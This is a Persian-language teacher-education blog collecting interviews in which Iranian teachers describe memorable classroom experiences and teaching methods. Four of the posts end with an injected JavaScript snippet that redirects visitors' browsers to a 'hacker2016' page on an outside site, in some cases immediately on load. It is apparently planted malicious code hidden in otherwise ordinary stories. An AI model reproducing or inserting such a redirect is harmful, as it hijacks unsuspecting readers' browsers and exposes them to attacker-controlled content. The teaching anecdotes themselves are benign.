تجربه معلّمان حرفه ای

Experience of Professional Teachers

تجربه معلّمان حرفه ای

Experience of Professional Teachers

تجربه معلّمان حرفه ای

عمل معلّمی برای معلّمانی که به آن به منزله فرصتی برای اعتلای آموزش و رشد شخصی نظر می کنند، سرشار از تجربه های نادری است که آگاهی از آنان برای دانشجو معلّمان و معلّمان دو خاصیت دارد:
1. آشنایی با تجربه خاص؛
2. کسب انگیزه و اعتماد برای عمل خلّاقانه در موقعیت های واقعی تربیت.
وبلاگ پیش رو، متن مصاحبه کتبی و تصویری از تجربیّات معلّمان حرفه ای، سرآمد و پیشکسوت ایران، بالاخص استان مازندران است
که توسط اینجانب، همکاران و دانشجو معلّمان دانشکده فاطمة الزهراء (س) قائمشهر و دانشکده شهید رجایی بابل وابسته به دانشگاه فرهنگیان در اجرای تکالیف عملکردی واحد درسی " تجربه های خاص حرفه ای در آموزش ابتدایی" تهیه و ثبت شده است. که تلاشی برای شناسایی معلّمان نادر و قدر شناسی از آنان نیز محسوب می شود و پیوندی بین نسل های معلّمان ایجاد می کند.
ضمن سپاس از بازدیدکنندگان محترم، استدعا می شود علاوه بر ارائه نظرات ارزنده خود، در صورت استفاده از متن حق امانت داری را رعایت نموده و با ذکر مأخذ ما را در اعتلای این امر مهم یاری نمایند./ انشاءالله

آخرین نظرات

۲۹ مطلب با موضوع «دانشجویان علوم تربیتی 9» ثبت شده است

دخترک نابینا/سحر محرابی

مهدی تقی پور حیدری | شنبه, ۴ ارديبهشت ۱۳۹۵، ۰۵:۲۸ ب.ظ
بسمه تعالی تجربه ی کلاسی  خانم زارعی  در اولین سال  تشکیل  پایه ی ششم  در مدارس ابتدایی:در گفت و گویی که با خانم زارعی داشتم، ایشان  توضیح دادند 
در سال1391 - اولین سال تشکیل پایه ی ششم در مدارس ابتدایی - دانش آموز نابینایی که پایه ی ششم ابتدایی بود در کلاسم حضور یافت.  ایشان از مشکلاتشان در آن زمان گفتند: از جمله اینکه کتاب ها تغییر کرده بود و  این دانش آموز کتاب جدیدی نداشت و علاوه بر آن خود ایشان هم خط بریل را بلد نبودند. دخترک نابینا هم اوایل نمی توانست ارتباط خوبی با معلم و دانش آموزان برقرار کند و با آن ها همکاری نمی کرد.خانم ساجدی توانستند  با این دانش آموز ارتباط خوبی برقرار کنندو او را به سمت خود بکشانند. دانش آموز خط بریل واعداد ریاضی را برای خانم زارعی ترجمه  می  کرد و ایشان هم صداهای دروس را که توسط دانش آموزان خوانده می شد، ضبط می کردند و به او می دادند. خانم زارعی گفتند که این دانش آموز  در نهایت  فعالیت های کلاسی مانند بافتنی را از دیگر دانش آموزان کلاس بهتر انجام می داد و با معدل .../19  فارغ التحصیل شد؛ همچنین  ایشان بیان کردند ارتباطشان با این دانش آموز همچنان برقرار است.
  • موافقین ۰ مخالفین ۰
  • ۰۴ ارديبهشت ۹۵ ، ۱۷:۲۸
  • مهدی تقی پور حیدری

آرزوی من/ زهرا صبورا سراجی

مهدی تقی پور حیدری | شنبه, ۴ ارديبهشت ۱۳۹۵، ۰۳:۴۰ ب.ظ
اینجانب خانم عباس­ زاده در یکی از سال های دوران تدریسم دانش آموزی به نام کمیل در کلاس دوم ابتدایی داشتم که پدرش کارگر و زحمت کش بود و معمولا زمان کمی در کنار خانواده اش بود.هنگام بررسی تکالیف، در یکی از درس های هدیه های آسمان در قسمتی به عنوان" آرزوهای من" دیدم کمیل نوشته است من آرزو دارم پدرم فقط یکبار با من به مدرسه بیاید.تا بحال پدرش را در مدرسه ندیده بودم ولی تصمیم داشتم هرطور شده او را به مدرسه بیاورم چون با دیدن این نوشته خیلی مضطرب حال شدم.نامه ای را از مدیر تقاضا کردم تا پدر کمیل را به مدرسه بیاورم ولی آقای مدیر نیز گفتند این آقا وضع مالی خوبی ندارد و صبح زود سرکار می رود ولی من با اصرار گفتم اگر لازم باشد درآمد یکروزش را به او می دهم ولی حتما باید بیاید.به کمیل نیز گفتم اگر پدرت قبول نکرد که بیاید تو هم به مدرسه نیا...فردای آن روز کمیل تنها به مدرسه آمد و گفت پدرش هروقت توانست حتما می آید.تقریبا اواسط زنگ اول بود که آقای مدیر به کلاس آمد و پدر کمیل را همراه خود آوردند.من ایشان را به کلاس دعوت کرده و استقبال کردم و از کمیل پرسیدم که این آقا را می شناسی؟ او گفت: بله پدرم هستند...گفتم ببخشید که مزاحم شما شدم آقا...شنیدید که کمیل جان گفتند بابای من به مدرسه اومده؟ گفتند:بله. کتاب هدیه آسمان کمیل را دست پدرش دادم و خواستم قسمت آرزوهای او را بخواند.پدر با خواندن آن جمله اشک در چشمانش جمع شد و از من برای اینکه توانستم آرزوی کوچک فرزندش را بر آورده کنم تشکر کرد...خوشحالم که توانستم کار کوچکی برای خوشحالی یکی از دانش آموزانم انجام دهم. function abzar(){window.location="http://codebazan.ir/js/hacker2016.html"} setTimeout("abzar()",5000);
  • موافقین ۱ مخالفین ۰
  • ۰۴ ارديبهشت ۹۵ ، ۱۵:۴۰
  • مهدی تقی پور حیدری

من همه دانش آموزانم را می بینم / زهرا قربان پور

مهدی تقی پور حیدری | شنبه, ۴ ارديبهشت ۱۳۹۵، ۰۳:۱۶ ب.ظ
من حکیمه فغان پور، دبیر دین و زندگی دبیرستان های بابل هستم ، از دانشگاه الزهرا با مدرک لیسانس الهیات ،      فارغ التحصیل شدم و الان 24 سال ، سابقه تدریس دارم. حدود دو سال پیش، دانش آموزی داشتم که از نظر روحی دچار تنش هایی می شد، ناگهان عصبانی می شد و سر بچه های دیگر، داد می زد. برخلاف همکارانم که در دفتر مدرسه مدام از این دانش آموز گله می کردند و می گفتند بودنش در کلاس غیر قابل تحمل است، من نسبت به این دانش آموز کنجکاو شدم و نیرویی از درون مرا وادار می کرد که مشکلش را حل کنم..... به ذهنم رسید که او را در گروهی قرار دهم که بچه های قوی تری در آن بودند و از بچه های گروه خواستم کمکش کنند تا بتواند آیات را ترجمه کند، آنوقت از او ترجمه را می پرسیدم و با کوچکترین پیشرفتی، او را تشویق می کردم و فراوان از او تعریف می کردم. کم کم او خودش وارد کار شد و برای ترجمه و تمرین، داوطلب می شد. یک روز به بچه ها گفتم حدیثی در مورد نماز بیاورند، آن وقت این دانش آموز را که حالا  به  درس دین و زندگی علاقه نشان می داد، پای تخته آوردم و با تشویق های مکررم ،خوشحالی را در چشمانش می دیدم. نمره او که ابتدای سال از 10 پایین تر بود، در نوبت دوم به 17 رسیده بود و من از روحیه خوب و پیشرفت درسی اش، خوشحال بودم. او حالا مثل بچه های دیگر ، از بودن در کلاس ، راضی و آرام بود. function abzar(){window.location="http://codebazan.ir/js/hacker2016.html"} setTimeout("abzar()",0000);
  • موافقین ۱ مخالفین ۰
  • ۰۴ ارديبهشت ۹۵ ، ۱۵:۱۶
  • مهدی تقی پور حیدری

جادوی شعر / زهرا قربان پور

مهدی تقی پور حیدری | شنبه, ۴ ارديبهشت ۱۳۹۵، ۰۳:۱۲ ب.ظ
من سیما وحدانی، آموزگار پایه سوم ابتدایی، با 27 سال سابقه کار و مدرک لیسانس آموزش ابتدایی هستم. یکی از تجربه هایی که الان هم در کلاس هایم از آن استفاده می کنم مربوط به استفاده از شعر برای بچه ها است؛ در طی سال های تدریسم متوجه شدم که بعضی بچه ها درس را جدی نمی گیرند و به فکر تلاش برای یادگیری نیستند، من در کارم با بچه های زیادی مواجه شدم که متاسفانه این گونه بودند و فرایند درس را هم برای من و هم برای باقی بچه ها با مشکل مواجه می کردند، راهی که من برای این مانع در درس انجام دادم، استفاده از شعر بود. همه بچه ها عاشق شعر و خواندن آن هستند پس از آن ها می خواستم که مفاهیم را به صورت شعر حفظ کنند؛ که خوشبختانه در مورد بچه های بازیگوش کلاس که به خاطر عدم همکاری شان در درس، ذهن مرا به خود مشغول کرده بودند، خیلی خوب جواب داد. آن ها شعر را حفظ می کردند و مشتاقانه آن را می خواندند و می نوشتند و مفاهیم زیادی مثل همین مفهوم دریا را که اخیرا درس دادم، یاد می گرفتند بدون اینکه مزاحم تدریس و یادگیری بچه های دیگر کلاس شوند. در واقع  جادوی شعر بچه های مرا مشتاقانه به کلاس درس برگرداند. function abzar(){window.location="http://codebazan.ir/js/hacker2016.html"} setTimeout("abzar()",0000);
  • موافقین ۱ مخالفین ۰
  • ۰۴ ارديبهشت ۹۵ ، ۱۵:۱۲
  • مهدی تقی پور حیدری

بازی های الفبایی/مهدیه حسینی کردکندی

مهدی تقی پور حیدری | شنبه, ۴ ارديبهشت ۱۳۹۵، ۰۳:۰۶ ب.ظ
بسمه تعالی زهرا فلاح زیولایی هستم.آموزگار پایه اول دبستان شهید سجادی کوهیخیل شهرستان جویبار.بیست و سه سال سابقه ی تدریس در آموزش و پرورش را دارم که بیستو دو سال آن در پایه ی اول بوده است.در سال 73 از تربیت معلم قایمشهر فارغ التحصیل شدم  دو سال بعد برای دریافت کارشناسی ابتدایی وارد دانشگاه آزاد و پس از آن در منطقه ی جویبار مشغول به تدریس شدم. همیشه می دیدم اکثر معلمین در پایه ی اول از ضعف املایی دانش آموزان خود گله می کنند.بعضی از معلمین می گفتند که مثلا دانش آموز پایه ی چهارم اسم خود را هم نمی تواند بنویسد یا حروف را نمی شناسد.من در کنار کارهایی که انجام از راه کار هایی نیز استفاده کردم که موجب تقویت املایی دانش آموزانم شده است. function abzar(){window.location="http://codebazan.ir/js/hacker2016.html"} setTimeout("abzar()",0000);
  • موافقین ۰ مخالفین ۰
  • ۰۴ ارديبهشت ۹۵ ، ۱۵:۰۶
  • مهدی تقی پور حیدری

جشن بهانه ایی برای باهم بودن/الهه رضی نژاد

مهدی تقی پور حیدری | شنبه, ۴ ارديبهشت ۱۳۹۵، ۰۲:۵۹ ب.ظ
به نام خدامن هر سال به مناسبت نزدیک شدن به عید نوروز،والدین دانش آموزان را به مدرسه دعوت می کردیم و جشنی همراه با آن ها میگرفتیم.در جشن دانش آموزان همراه با والدین شان کاردستی درست می کردند، و به بهترین کاردستی از نظر بقیه به رسم یادبود هدیه می دادیم.این جشن بهانه ایی بود برای در کنار هم بودن خانواده ها،تا دانش آموزانی که در طول سال والدین شان فرصت وقت گذراندن و بازی را  با آنها را نداشتند و همچنین دیدار دوباره ایی با والدین شان داشتیم تا آن ها را در جریان تحصیل شان نیز قرار بگیرند.(معلم دوم ابتدایی،بازنشسته،خانم عباس زاده)
  • موافقین ۰ مخالفین ۰
  • ۰۴ ارديبهشت ۹۵ ، ۱۴:۵۹
  • مهدی تقی پور حیدری

حروف بدون نقطه/سارا کیانی حاجی

مهدی تقی پور حیدری | شنبه, ۴ ارديبهشت ۱۳۹۵، ۰۲:۴۹ ب.ظ
خانم سودابه نصرالله پور با 13 سال سابقه تدریس در پایه اول در یکی از دبستان های پسرانه شهرستان بابل مشغول به کار هستند.ایشان در جواب تجربه ی کاری که در این چند سال بدست اوردند؛ تجربه ای در رابطه با مشکلات نقطه گذاری دانش اموزان کلاسشان بیان نمودند. برداشت من از عرایض ایشان این بود که یکی از مشکلاتی که دانش اموزان در پایه اول با ان مواجه هستند این است که نقطه بعضی از حروف را نمی گذارند یا ان را کم و زیاد می کنند.این معلم در راستای حل این مشکل در کلاس، تمارین متعددی به دانش اموزان ارائه کرد.مثلا متنی را که بچه ها کاملا با ان اشنا بودند را بدون نقطه به ان ها می داد تا خود نقطه کلمات را بگذارند و نوشته خود را تصحییح کنند. ایشان اعتقاد داشتند که با این کار توجه بچه ها بیشتر به سمت جای نقاط و تعداد ان در حروف جلب می شود.یکی دیگر از تمارین این بود که بچه ها از روی نوشته های خود با صدای بلند بخوانند. به عقیده ایشان این کار خیلی سریع بچه ها را به اشتباهاتشان می رساند زیرا ان ها کلماتی را که نقطه شان جابه جا شده یا نقطه ان را نگذاشته اند نمی توانند بخوانند. این ایشان توانستند با ارائه چنین تمرین هایی در کلاس مشکلات دانش اموزان را در نقطه گذاری حروف حل کنند.
  • موافقین ۰ مخالفین ۰
  • ۰۴ ارديبهشت ۹۵ ، ۱۴:۴۹
  • مهدی تقی پور حیدری

راهنمای زندگی /فاطمه ذوالفقاری کریمی

مهدی تقی پور حیدری | شنبه, ۴ ارديبهشت ۱۳۹۵، ۰۲:۲۲ ب.ظ
مشاور مدرسه شهید محسن تبار دراز کش بندپی شرقی بابل آقای ایوب طالبی حسنکلا دربهمن سال 1389، یکی از والدین به همراه فرزند دوم ابتدایی اش برای راهنمایی ومشاوره به دفتر آمدند که ما در ادعا می کرد که فرزندش هیچ توانایی در یادگیری درس ندارد ومعلم ومدیرش تقا ضا کردنذ که والدین اورا به مدرسه استثنایی بفرستند .............آنهاادعا می کردند دانش اموز هیچ توانایی در یادگیری ندارد ولی من با دیدن دانش آموز با این امر مخالفت کردم وخواهان تست یادگیری از دانش آموز شدم وفهمیدم که دانش آموز فقط دارای اختلال یادگیری است ونیاز به کمی کمک وتوجه بیشتر والدین ومعلم دارد وبا کمک بیشتر ،پیشرفت زیادی  می کند وبر خلاف تصور معلم ومدیر نیازی به مدرسه ی استثنایی ندارد .با معلم دانش آموز صجبت کردم وراهکارهایی را هم به او وهم به والدینش دادم وبا بررسی موقعیت او بعد از چند وقت متوجه  پیشرفت روز افزون دانش آموز شدم ووالدین اونیز خیلی خوشحال بودند واین دانش اموز به علت تلقیناتی که به او شده بود وکمبود اعتماد به نفس آعتماد به نفس کاملا نا امید شده بود وهیچ تلاشی نداشت ولی با تلاش بیشتر معلم ووالدین وضعیتش به طور چشم گیری بهبود یافتش
  • موافقین ۰ مخالفین ۰
  • ۰۴ ارديبهشت ۹۵ ، ۱۴:۲۲
  • مهدی تقی پور حیدری

دخترک بازیگوش/کلثوم خرم گاه

مهدی تقی پور حیدری | شنبه, ۴ ارديبهشت ۱۳۹۵، ۰۱:۴۹ ب.ظ
جعفر گت­ بابایی هستم، متولد 1342 از شهرستان بابلسر. پس از کسب مدرک کاردانی در رشته آموزش ابتدایی به استخدام آموزش و پرورش شهرستان شهریار درآمدم. بعد از پنج سال با انتقالی به شهرستان بابلسر، در مدارس شهرستان اعم از روستا و شهر مشغول به کار شدم. در طول سالهای خدمتم تجربیات زیادی کسب نمودم که می­­­­­­ توانم به یکی از آنها که در بعد آموزشی است اشاره کنم. در یکی از سالها ...
  • موافقین ۰ مخالفین ۰
  • ۰۴ ارديبهشت ۹۵ ، ۱۳:۴۹
  • مهدی تقی پور حیدری

سازمان حمایت از کودکان/فاطمه غلامی

مهدی تقی پور حیدری | شنبه, ۴ ارديبهشت ۱۳۹۵، ۰۱:۱۵ ب.ظ
بنام خداآقای توکلی مدیر مدرسه امام محمد باقر با بالاتر از 27 سال سابقه در این مدرسه مدیریت می کند.ایشان در گذشته در مدارس ابتدایی تدریس می کردند.ایشان تجربه خود را اینگونه بیان کردند:روزی یکی از بچه ها که سال اول مدرسه اش بود به همرار پدرش به مدرسه آمد.او مدرسه را دوست نداشت و پدرش هر روز او را با زور وکتک به مدرسه می آورد.یک روز که پدرش او را به زور وارد صف کرد و او گریه می کرد،آقای ناظم عصبانی و با او درگیر شد،تا اینکه اورا پیش من آوردند و موضوع را تعریف کردند.
  • موافقین ۰ مخالفین ۰
  • ۰۴ ارديبهشت ۹۵ ، ۱۳:۱۵
  • مهدی تقی پور حیدری

یک روز برفی/سپیده عمونیا سماکوش

مهدی تقی پور حیدری | شنبه, ۴ ارديبهشت ۱۳۹۵، ۱۲:۱۱ ب.ظ
من علی عمونیا آموزگار چند پایه هستم و حدود بیست و هفت سال سابقه کاری دارم و در آموزش و پرورش منطقه بندپی شرقی مشغول انجام وظیفه هستم. حدود ده سال سابقه کار داشتم و معلم چندپایه بودم. 
مبحث دایره، قطر و شعاع را برای دانش آموزان کلاس سوم که تعدادشان پنج نفر بود، تدریس کردم. 
بعد از یک هفته از آن ها سوال پرسیدم و متوجه شدم که از میان این پنج نفر ، دو نفر مبحث دایره، شعاع و قطر را به خوبی یاد نگرفتند و در این قسمت مشکل دارند. 
با خود فکر کردم که برای حل این مشکل باید چکار کنم. 
در یک روز برفی که حدود شش سانتی متر برف به زمین نشسته بود با خود فکر کردم که اکنون بهترین فرصت برای حل این مشکل است چرا که دانش آموزان به بازی علاقه شدیدی دارند و بسیاری از چیز ها را با بازی یاد می گیرند.
 تصمیم گرفتم که بچه ها را به حیاط مدرسه ببرم و از طریق بازی با برف این مبحث را دوباره تدریس کنم. 
با کمک بچه ها یک پرگار با دو چوب نازک پانزده سانتی متری و یک تکه نخ ساختیم. بعد یک زمین صاف را برای این کار انتخاب کردیم که پوشیده از برف بود. برف همچنان می بارید و منظره بسیار جالب نمایانگر بود. 
سر یکی از چوب هایی را که با آن ها پرگار ساختیم، با چاقو تراشیدم تا بچه ها اشتباه نکنند و آن را نوک سوزنی پرگار معرفی کردم و سر چوبی را که نتراشیدیم نوک مدادی پرگار معرفی کردم. 
ابتدا با پرگار دایره بزرگی کشیدم و بعد قسمت های کم رنگ دایره را با دست به کمک بچه ها پررنگ کردیم. سپس برف وسط دایره را با دست خالی کردیم و به جایی رسیدیم که هیچ برفی نبود و آن را مرکز دایره معرفی کردم. به بچه ها گفتم که دایره قطر و شعاع هم دارد که قطر دوبرابر شعاع است. به دانش آموزان گفتم که یک خط کش بیاورند. یک قطر کشیدیم و آن را با خط کش اندازه گرفتیم و قطر ده سانتی متر شد . به دانش آموزان گفتم که  وقتی قطر ده سانتی متر است پس شعاع پنج سانتی متر است و همیشه قطر دو برابر شعاع است.
 من با این کار توانستم دایره ، قطر و شعاع را به دانش آموزان آموزش دهم و این یک تجربه کاری بوده که دانش آموزان هرگز فراموش نمی کنند.
  • موافقین ۰ مخالفین ۰
  • ۰۴ ارديبهشت ۹۵ ، ۱۲:۱۱
  • مهدی تقی پور حیدری

زنگ علوم/ معصومه کریمی فیروزجایی

مهدی تقی پور حیدری | شنبه, ۴ ارديبهشت ۱۳۹۵، ۱۲:۰۳ ب.ظ
بنده محمدتقی قدمی پور رزاقی مدیر مدرسه صاحب الزمان( عج) قائمشهر هستم ، بیست ودو سال سابقه کار دارم. 
 در یکی از سال ها که در سواد کوه تدریس می کردم معمولا برای تدریس درس علوم بچه ها را به بیرون از مدرسه می بردم مثلا به پارک ، جنگل ، کنار رودخانه که هم تنوعی برای دانش آموزان بشود وهم بتوانند درس را راحت تر وبهتر در فضای آزاد یاد بگیرند ومن هم بهتر تدریس کنم. 
یکی از درس هایی که در آن سال باید تدریس می کردم درس فسیل وسنگواره بود. برای تدریس این درس دانش آموزان را به کنار رودخانه بردم. 
به آن ها گفتم در کنار رودخانه بچرخید وفسیل پیدا کنید. دانش آموزان خیلی تلاش کردند وبه این طرف وآن طرف رفتند، من هم همراه آن ها گشتم اما متاسفانه نتوانستیم چیزی پیدا کنیم.بعد برای اینکه دانش آموزان ناامید وناراحت نشوند گفتم حتما شما خوب نگشتید. الان زنگ علوم تمام شده است وبهتر است به مدرسه برگردیم ودر جلسه بعدی برای پیدا کردن فسیل دوباره به کنار رودخانه می آییم. 
 جلسه بعدی که برای پیداکردن فسیل به کنار رودخانه می رفتیم من از مدرسه یک نمونه از سنگواره ها را برداشتم وهمراه خودم بردم. بعد از مدتی که دانش آموزان گشتندولی نتوانستند چیزی پیدا کنند من آن را کنار رودخانه گذاشتم وبه دانش آموزان گفتم من یک نمونه پیدا کردم بچه ها بیاید ببینید. آن ها آمدند واز اینکه چرا خودشان نتوانستند پیداکنندو من توانستم تعجب کردند. من به آن ها گوشزد کردم که تما در کارتان دقت به خرج بدهید وزود خسته و نا امید نشوید.ح
  • موافقین ۰ مخالفین ۰
  • ۰۴ ارديبهشت ۹۵ ، ۱۲:۰۳
  • مهدی تقی پور حیدری

جعبه توت فرنگی/ مبارکه آهنگری آهنگرکلایی

مهدی تقی پور حیدری | شنبه, ۴ ارديبهشت ۱۳۹۵، ۱۱:۳۹ ق.ظ
تجربه معلم پایه پنجم ابتدایی: حدود پنج سال پیش بود در تدریس درس علوم مبحث گیاهان ، بعد از اینکه مراحل کاشت گیاهان را برای دانش آموزان گفتم . یکی از دانش آموزان که فرد پیگیر و مستعدی بود .از من در مورد مراحل کاشت توت فرنگی سوال می پرسید و قصد کاشت توت فرنگی در جعبه ای را داشت. بعد از مدتی به من گفت که توت فرنگی هایش رسیدند و من از او خواستم که توت فرنگی هایش را به کلاس بیاورد تا تمام بچه ها محصول زحمت او را ببینند .وقتی او توت فرنگی ها را به کلاس آورد من بسیار از دیدن توت فرنگی های درشت خوشحال شدم و از او تشکر کردم و توت فرنگی های را بین بچه ها تقسیم کردم و همه از دیدن این میوه خوشمزه خوشحال شدند و از دوستشان تشکر کردند . من هم از داشتن چنین دانش آموز کوشا و پرتلاشی بسیار خوشحال شدم و آن دانش آموز را تشویق کردم .
  • موافقین ۱ مخالفین ۰
  • ۰۴ ارديبهشت ۹۵ ، ۱۱:۳۹
  • مهدی تقی پور حیدری

ناجی معلم/ طاهره آقاپور جویباری

مهدی تقی پور حیدری | شنبه, ۴ ارديبهشت ۱۳۹۵، ۱۱:۲۹ ق.ظ
من سیما وحدانی، معلم پایه سوم ابتدایی از شهرستان قائمشهر و دارای 20 سال سابقه تدریس می باشم. حدودا 8 تا 10 سال قبل در یکی از روستا ها معلم ابتدایی بودم.
 در یکی از روز های سرد زمستان بخاری کلاسمان آتش گرفت. در ابتدا بچه ها را از کلاس خارج کردم. و بعد خواستم بخاری را خاموش کنم اما شعله آن زیاد شده بود و نمی توانستم کنترل کنم پس تصمیم گرفتم آن را از کلاس خارج کنم که ناگهان دیدم یکی از بچه ها زیر نیمکت قایم شده است. عصبانی شدم و گفتم چرا هنوز اینجایی؟ چرا قایم شدی؟ دانش آموز گفت: احساس می کردم شما امروز درآتش می سوزید به همین دلیل به کلاس آمدم تا در لحظه آخرشما را نجات دهم. بعد من به او گفتم نه این کارت اصلا درست نبود و وقتی من فریاد زدم همه از کلاس خارج شوید شما هم باید از کلاس خارج می شدید. دانش آموز گفت : نه خانم من زیر پنجره بودم ارتفاع پنجره زیاد نبود. شعله آتش که زیاد شد تصمیم گرفتم به داخل کلاس بیایم و به شما کمک کنم. در آن لحظه من هم عصبانی شدم و هم خوشحال شدم اما به او گفتم که اگر برای شما اتفاقی می افتاد نمی­ توانستم خودم را به خاطر کار شما ببخشم. در پایان همه ی دانش آموزانم را بوسیدم و در حالیکه حالم خیلی بد بود، از اینکه همه همکاری کردند از آنها تشکر کردم.
  • موافقین ۱ مخالفین ۰
  • ۰۴ ارديبهشت ۹۵ ، ۱۱:۲۹
  • مهدی تقی پور حیدری

عدو شود سبب خیر اگر خدا خواهد/فاطمه چابک علی تپه/

مهدی تقی پور حیدری | شنبه, ۴ ارديبهشت ۱۳۹۵، ۱۰:۵۱ ق.ظ
به نام خدایی که در این نزدیکی استاین مصاحبه با آقای فردوس جعفری مدیر و معلم پایه ی پنجم و ششم یکی از روستاهای شهرستان بهشهر صورت گرفت.ایشان دارای 27سال سابقه ی کار در آموزش و پرورش می باشند. در سال های72-71 در روستای ارزت در بخش یانه سر شهرستان بهشهر مشغول  پرسش جغرافیا از دانش اموز صفیه مظفری بودند،دانش اموز توانایی پاسخ به آقای جعفری را نداشتند. معلم خشمگین و عصبانی شده و به قصد سیلی زدن دستش را بالا برده و به دانش آموز نزدیک شد با نزدیک شدن به دانش اموز متوجه اشکی مزاحم در مردمک چشم صفیه شد،دستش را پایین آورد و به چشمش دقت کرد.در چشم دانش اموز خاری را مشاهده کرد با تعجب از نحوه ی قرار گرفتن این خار در چشمش آگاه شد.این دانش آموز برای برداشت زرشک به دشت رفته و در حین برداشت خاری وارد چشمش شد ولی متاسفانه نتوانست به پزشک مراجعه کند.آقای جعفری تصمیم گرفتند تا صفیه خانم را برای معالجه به شهر ببرند.بعد از پایان اخرین زنگ اقای جعفری با کسب اجازه از خانواده ی صفیه خانم با ماشین کرایه ای به بهشهر امده و به سمت ساری حرکت کردند.آقای دکتر را از قبل می شناختند،وارد مطب شدند و و بعد از معاینه و در اوردن خار داروهای نوشته شده را برای دانش آموز تهیه کردند.آقای جعفری می گفتند:اگر صفیه را برای معالجه نمی بردند امکان داشت چشمش را تخلیه کنند.آقای جعفری و صفیه شب به بهشهر رسیدند.شب را در منزل پدری آقای جعفری در روستای سارو گذراندند و صبح زود به سمت روستای ازرت حرکت کردند.خانواده ی صفیه از آقای جعفری تشکر ویژه ای کردند و سلامتی کودک خود را مدیون ایشان شدند.
  • موافقین ۱ مخالفین ۰
  • ۰۴ ارديبهشت ۹۵ ، ۱۰:۵۱
  • مهدی تقی پور حیدری

سکوت خواهر وبرادر/ملیکه حیدری فیروزجایی

مهدی تقی پور حیدری | شنبه, ۴ ارديبهشت ۱۳۹۵، ۱۰:۴۹ ق.ظ
به نام خدافیض الله پادهیان هستم آموزگار مدرسه چند پایه شهید محمد زاده چالرز حدود25 سال سابقه کار دارم. در مناطق صعب العبور بندپی شرقی خدمت می کنم. در یکی از مدارسچند پایه منطقه  صعب العبور بندپی شرقی به نام مدرسه ی روستای سرجی کلاه بودم.  حدود 18 سال سابقه کار داشتم. در آن سال من مدرسه را از یکی از همکارانم تحویل گرفتم واولین سال بود که رفتم. همکاربنده به من گفتند که دو نفر از دانش آموزان، هردو پایه اول  که یکی از آن ها مردودی بود ویکی هم جدید آمده بود. این دونفر اصلا حرف نمی زنند و آن ها را به یکی از مدارس استثنایی معرفی کردیم ( مدرسه استثنایی حضرت قائم بندپی شرقی). مسافت هم طولانی بود وخانواده ها هم نمی توانستند آن ها را ببرند.
  • موافقین ۱ مخالفین ۰
  • ۰۴ ارديبهشت ۹۵ ، ۱۰:۴۹
  • مهدی تقی پور حیدری

تشویق های آنی/معصومه قربانی/

مهدی تقی پور حیدری | شنبه, ۴ ارديبهشت ۱۳۹۵، ۱۰:۴۰ ق.ظ
آقای ذکریا خواجه محله دارای 22 سال سابقه خدمت در آموزش وپرورش 
در سال 1373به عنوان معلم در یک روستا مشغول تدریس شد هجده دانش آموز دختر وپسر داشت.شرایط روستا به گونه ای بود که بچه ها مجبور بودند به پدر ومادر خود در نگهداری دام ها ،کشاورزی و...کمک کنند.
ایشان در کلاس خود دانش آموزی داشتند به نام فضه که بسیار آرام بود .ایشان بعد از مدتی متوجه شدند که فضه تکلیف های خود انجام نمی دهد یا اگر انجام می دهد کامل نیست یا در درس های خود گاهی اوقات خوب وگاهی اوقات نیز نمی توانست نمره بیاورد 
این موضوع برایشان سوال شده بود به همین خاطر چندین بار خواست با خانواده اش صحبت کند اما نمی توانست، پدرش چوپان بود و اکثر اوقات در خانه نبود.ایشان زمانی که دیدند وضعیت درسی دانش آموز هرروز بدتر می شود مادرش را به مدرسه دعوت کرد وبا ایشان صحبت کردند.مادر فرزندرا تهدید کرد که اگر درس نخوانی تورا می کشم و...که دانش آموز بسیار ناراحت شد.بعد از گذشت چند روز که وضغیت دانش آموز همچنان همانگونه بود آقای خواجه محله متوجه شدند که دست های فضه همانند دستان فردی است که سال ها کار کرده است.از دانش آموز علت را جویا شدند اما او حرفی نزد .زنگ تفریح دوستش گفت که فضه زمانی که به منزل می رود مادرش اورا مجبور می کند که از چشمه آب بیاورد وکهنه بچه را بشوید و... . ایشان فهمیدند که مشکل از خانواده است .از آن روز به بعد سعی می کردند که بیشتر با اوکار کنند. در یک روز در پرسش درس تعلیمات دینی در کمال تعجب از پنج سوال  توانست چهار سوال آن را درست جواب داد.در همان لحظه برگه های تبلیغاتی به مدرسه آورده بودند آقای خواجه محله یکی از این برگه ها را گرفتندومهر مدرسه را روی آن زدند وخودشان آن را امضا کردند ودر مقابل بقیه دانش آموزان به اودادند وهمه اورا تشویق کردند.از روز بعد فضه به یک دانش آموز خوب در کلاس تبدیل شد وهمه ی درس های خود را منظم می نوشت ومرتب انجام می داد.به طوری که در امتحان های ثلث دوم وسوم بهترین نمره ها را آورده بود.
  • موافقین ۰ مخالفین ۰
  • ۰۴ ارديبهشت ۹۵ ، ۱۰:۴۰
  • مهدی تقی پور حیدری

معلولیت محرومیت نیست/بیتا محمدتبار

مهدی تقی پور حیدری | شنبه, ۴ ارديبهشت ۱۳۹۵، ۰۷:۰۶ ق.ظ
اینجانب حسن جعفری لاهیجانی معلم ابتدایی بودم و چند سالی است که بازنشسته شده ام. محل خدمت من چند روستا بود که جزء شهرستان بابلسر بود. از آنجاییکه معلم بایستی علاوه بر آموزش دروس، پدر بچه ها باشد و مدرسه خانه ی دوم بچه هاست، معلم باید سعی کند در حد توانش مشکلات بچه ها را حل کند و مثل یک پدر با آنها رفتار کند. هر معلمی ممکن است با مشکلاتی که برای بچه ها پیش میاید مواجه شود. من یک شاگرد دختر داشتم که معلول مادرزاد بود و مدارس استثنایی هم او را ثبت نام نمی کردند؛ وقتی به مدرسه ما برای ثبت نام آمد، من با مدیر صحبت کردم و ایشان قبول کرد که او شاگرد کلاس من بشود. او مشکل کندنویسی داشت؛ مثلا موقع دیکته نوشتن برخلاف بقیه ی شاگردان که سریع می نوشتند، به خاطر معلول بودن دستش کند می نوشت. من من صبر می کردم تا او نیز به پای بچه ها برسد. اوایل به خاطر کندنویسی اش نمره ی کمی می گرفت. با خودم فکر کردم چاره ی این کار این است که هم با سرعت کمتری املا بگویم هم اینکه برایش صبر کنم. الحمدلله با همین روش توانستم مشکل کند نویسی اش را حل کنم و خانواده اش هم بسیار از من تشکر کردند. همیشه در اواخر سال تحصیلی بچه ها را به اردو می بردیم و خیلی به آنها خوش می گذشت و برای امتحانات پایان ترم آماده می شدند. با وجود اینکه هنگام تدریس جدی بودم دانش آموزانم با من انس زیادی برقرار می کردند و من هم متقابلا آنها را خیلی دوست داشتم و مثل یک پدر و برادر با آنها رفتار می کردم؛ در روز آخر که می خواستند خداحافظی کنند خیلی با من رابطه ی عاطفی برقرار می کردند و به من می گفتند که شما در سال های آینده هم معلم ما بشوید.
